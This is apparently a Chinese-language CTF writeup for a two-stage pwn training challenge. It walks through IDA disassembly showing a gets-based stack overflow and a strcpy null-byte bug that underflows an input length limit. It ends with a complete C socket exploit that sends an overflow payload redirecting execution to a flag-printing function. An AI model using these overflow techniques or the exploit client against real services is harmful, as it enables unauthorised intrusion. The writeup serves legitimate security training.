pwnstep1-2 writeup

原创

zh_explorer 于 2015-04-22 13:30:14 发布 1045 收藏

分类专栏： hduisa内部平台writeup 文章标签： writeup ctf pwn

协会平台更新了。放一篇writeup

一道pwn的简单题目，主要练练栈溢出。

STEP1：

nc连接上去之后是3个选项。其中1，2都有字符串的输入。先丢ida分析。
根据一些字符串的输出理清函数的调用关系。先来step1.
提示输入字符串（**不限长度的**）然后rol13加密。重点是如下的分支跳转。

```
.text:0804891E 09C                cmp     [ebp+var_D], 5Ch            ; <-比较[esp+var_D]与5Ch，成功这i
.text:08048922 09C                jnz     short loc_8048956
.text:08048924 09C                sub     esp, 0Ch
.text:08048927 0A8                push    offset aCongratulation       ; "Congratulations you've got
.text:0804892C 0AC                call    _puts
.text:08048931 0AC                add     esp, 10h
.text:08048934 09C                sub     esp, 0Ch
.text:08048937 0A8                push    offset aGiveYouWhatYou       ; "Give you what you want:"
.text:0804893C 0AC                call    _puts
.text:08048941 0AC                add     esp, 10h
.text:08048944 09C                sub     esp, 0Ch
.text:08048947 0A8                push    offset file                  ; "flags/step1"
.text:0804894C 0AC                call    sub_80486AB                  ; <-打印flag的函数，参数是flags/s
.text:08048951 0AC                add     esp, 10h
.text:08048954 09C                jmp     short loc_8048966 ; Jump
.text:08048956     ; ---------------------------------------------------------------------------
.text:08048956
.text:08048956     loc_8048956:                                       ; CODE XREF: sub_8048781+1A1↑j
.text:08048956 09C                sub     esp, 0Ch
.text:08048959 0A8                push    offset aYes__youSeeRot       ; "Yes..you see ROT13 runing we
.text:0804895E 0AC                call    _puts
.text:08048963 0AC                add     esp, 10h
```

前面还有个不限长度的gets函数，所以是只要输入字符串覆盖就可以了。
构造字符串’a’*(0x94-0x0D) + 0x5c(就是字符’\’)
手工输入即可得到flag

STEP2：

分析step2的程序流程，首先输入密码。密码为明文很容易发现为”=L=why_dont_you_guess_me?”输入正确后提示输入验证码，为109然后就结束了。
随后我再查找.const段发现字符串”flags/step2”，猜想使用这个参数调用step1中打印flag的函数，但是两个输入函数都是限制了输入长度的，所以没有办法进行栈溢出攻击。

于是仔细的分析step2的代码。发现在strcpy处有一个漏洞，因为strcpy复制后总是加上’\0’，正好将[esp+var_c]处的用以限制输入长度变量覆盖为0.

```
.text:08048A01                sub     esp, 8
.text:08048A04                lea     eax, [ebp+nptr]
.text:08048A0A                push    eax             ; src
.text:08048A0B                lea     eax, [ebp+dest]
.text:08048A0E                push    eax             ; dest
.text:08048A0F                call    _strcpy         ;这里的strcpy把[esp+var_c]处变量覆盖为零。
.text:08048A14                add     esp, 10h
.text:08048A17                sub     esp, 0Ch
.text:08048A1A                push    offset aOh__andINeedTo  ; "Oh..And,I need to check if you are hu
.text:08048A1F                call    _puts
.text:08048A24                add     esp, 10h
.text:08048A27                sub     esp, 0Ch
.text:08048A2A                push    offset aPleaseCalculat  ; "Please calculate:?"...
.text:08048A2F                call    _puts
.text:08048A34                add     esp, 10h
.text:08048A37                mov     eax, [ebp+var_C]
.text:08048A3A                sub     eax, 1          ; <-这里是关键，得已经为0的eax再减去1，可以溢出啦。
.text:08048A3D                sub     esp, 4
.text:08048A40                push    0Ah
.text:08048A42                push    eax
.text:08048A43                lea     eax, [ebp+nptr]
.text:08048A49                push    eax
.text:08048A4A                call    sub_804870E     ;可以在这里开心的构造溢出了
```

所以最终思路是

先发送=L=why_dont_you_guess_me? + ‘a’*38 + ‘\n’覆盖变量。
然后发送119 + ‘\0’*1101 + 0x0804894C(函数地址) + 0x08048c3a(参数地址) + ‘\n’

本人是个渣，不会用高大上的python，所以用c语言写了段代码。。

```
#include <winsock2.h>
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"ws2_32.lib")

int main (void)
{
    int i;
    WSADATA wsaData;
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData);
    sockClient=socket(AF_INET,SOCK_STREAM,0);

    addrServer.sin_addr.S_un.S_addr=inet_addr("****hide****");
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(7777);
```

```
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR));

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n**********************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    char message[2000]={'2','\x0a'};
    send(sockClient,message,2,0);
    Sleep(1000);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n**********************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);

    for(i=0;i<64;i++)
        message[i]='1';
    message[64]='\x0a';
    strcpy_s(message,26,"=L=why_dont_you_guess_me?");
    message[25]='1';

    send(sockClient,message,65,0);
    Sleep(1000);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n**********************************************************************\n");
    for(i=0;i<5000;recvBuf[i]=0,i++);

    for(i=0;i<1104;i++)
        message[i]='\0';
    message[1104]=0x4c;
    message[1105]=0x89;
    message[1106]=0x04;
    message[1107]=0x08;
    message[1108]=0x3a;
    message[1109]=0x8c;
    message[1110]=0x04;
    message[1111]=0x08;
    message[1112]=0x0a;
    message[0]='1';
    message[1]='0';
    message[2]='9';

    send(sockClient,message,1113,0);
    Sleep(1000);
    recv(sockClient,recvBuf,5000,0);
    printf("%s",recvBuf);
    printf("\n**********************************************************************\n");


    closesocket(sockClient);
    WSACleanup();
}
```

flag get!

啥，要pwn文件！反正没人看，就不传了